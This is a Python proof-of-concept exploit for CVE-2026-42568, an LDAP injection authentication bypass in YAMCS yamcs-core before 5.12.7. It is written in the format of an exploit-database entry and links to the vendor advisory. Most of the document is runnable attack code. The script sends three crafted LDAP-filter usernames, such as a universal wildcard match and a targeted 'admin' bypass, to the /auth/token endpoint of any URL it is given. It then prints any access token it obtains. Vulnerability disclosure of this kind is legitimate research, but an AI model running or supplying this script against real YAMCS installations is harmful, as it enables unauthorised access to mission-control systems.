# Exploit Title: YAMCS yamcs-core 5.12.7 - LDAP Injection # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-42568 # Category: Remote / Auth Bypass # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j #!/usr/bin/env python3 """ CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule ========================================================= The username parameter in LdapAuthModule is inserted directly into LDAP search filters without RFC 4515 escaping. Root cause (LdapAuthModule.java): var filter = userFilter.replace("{0}", username); With userFilter=(uid={0}) and username=*)(uid=*))(|(uid=* Result: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass. Only affects instances with LdapAuthModule configured. ========================================================= """ import requests import sys import json def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" base = target.rstrip("/") print("=" * 65) print(" CVE-2026-42568 — YAMCS LDAP Injection PoC") print(f" Target: {target}") print(" Requires: LdapAuthModule configured in yamcs.yaml") print("=" * 65) payloads = [ { "name": "Universal bypass", "username": "*)(uid=*))(|(uid=*", "password": "anything", }, { "name": "Targeted bypass (admin)", "username": "admin)(|(objectClass=*", "password": "wrongpassword", }, { "name": "Wildcard match", "username": "op*", "password": "anything", } ] for i, p in enumerate(payloads, 1): print(f"\n[{i}] {p['name']}") print(f" username: {p['username']}") print(f" password: {p['password']}") try: resp = requests.post(f"{base}/auth/token", data={ "grant_type": "password", "username": p["username"], "password": p["password"] }, timeout=5) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: token = resp.json().get("access_token", "") print(f" [!!!] AUTH BYPASSED") if token: print(f" [!!!] Token: {token[:50]}...") elif resp.status_code == 401: print(f" [-] 401 — LDAP may not be configured") elif resp.status_code == 403: print(f" [+] 403 — Patched or LDAP disabled") except requests.exceptions.ConnectionError: print(f" [-] Connection refused — is YAMCS running?") except Exception as e: print(f" [-] Error: {e}") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": main()